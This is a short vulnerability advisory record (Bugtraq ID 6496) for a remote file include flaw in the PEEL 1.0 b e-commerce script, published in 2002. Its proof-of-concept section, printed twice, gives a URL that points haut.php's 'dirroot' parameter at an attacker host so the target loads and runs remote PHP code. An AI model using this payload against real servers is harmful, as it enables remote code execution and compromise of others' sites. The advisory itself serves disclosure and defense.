PEEL Remote File Include Vulnerability
BID:6496
Info
PEEL Remote File Include Vulnerability
| Bugtraq ID: | 6496 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 31 2002 12:00AM |
| Updated: | Dec 31 2002 12:00AM |
| Credit: | Discovery is credited to Frog Man <[email protected]>. |
| Vulnerable: |
PEEL PEEL 1.0 b |
| Not Vulnerable: | |
Exploit / POC
PEEL Remote File Include Vulnerability
The following proof of concept was provided:
http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=.
with :
http://[attacker]/lang/lang.php
The following proof of concept was provided:
http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=.
with :
http://[attacker]/lang/lang.php